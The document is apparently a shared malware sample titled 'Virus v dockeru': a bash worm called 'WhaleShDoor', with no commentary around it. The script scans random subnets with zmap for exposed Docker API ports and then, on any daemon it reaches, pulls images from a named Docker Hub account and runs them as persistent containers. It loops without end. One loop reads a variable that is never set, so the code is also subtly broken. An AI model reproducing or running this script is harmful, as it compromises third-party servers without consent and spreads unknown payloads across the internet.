Virus v dockeru

#!/bin/bash
#WhaleShDoor
function cals_subnetmask {
    IP1=$(($RANDOM % 256))
    IP2=$(($RANDOM % 256))
    IP3=$(($RANDOM % 256))
    IP4=$(($RANDOM % 256))
    TARGET_IP_ADDRESS=$IP1"."$IP2"."$IP3"."$IP4
    SUBNET_MASK_TARGET=$(ipcalc -bn $TARGET_IP_ADDRESS 255.255.255.0 | grep Network | awk '{print $2}')
}
function zmap_scan {
    PORT_LIST=(2375 2374 2376 4243 4244)
    for port in "${PORT_LIST[@]}"; do
        echo "[+] subnet: ${SUBNET_MASK_TARGET}"
        echo "[+] port:   ${port}"
        RESULT=$(zmap -p ${port} -B 10M -c 10 ${SUBNET_MASK_TARGET} | tr '\n' ' ')
        sleep 60
        TARGET_LIST=($RESULT)
        for ip in "${RESULT_ARRAY[@]}"; do
        echo "[+] attack: ${ip}:${port}"
            docker -H ${ip}:${port} info 2>/dev/null
            if [ $? = 0 ]; then
                echo $ip:$port
                docker -H ${ip}:${port} pull geo19820630/mynginx
                if [ $? = 0 ]; then
                    docker -H ${ip}:${port} run --restart unless-stopped --read-only -m 500M -c 1024 geo19820630/mynginx &&
                    docker -H ${ip}:${port} pull geo19820630/app &&
                    docker -H ${ip}:${port} run --net=host --restart unless-stopped --read-only -m 100M -c 512 geo19820630/app
                else
                    continue
                fi
            else
                continue
            fi
        done
    done
}
function main {
    cals_subnetmask
    zmap_scan
}
while :; do
    main
done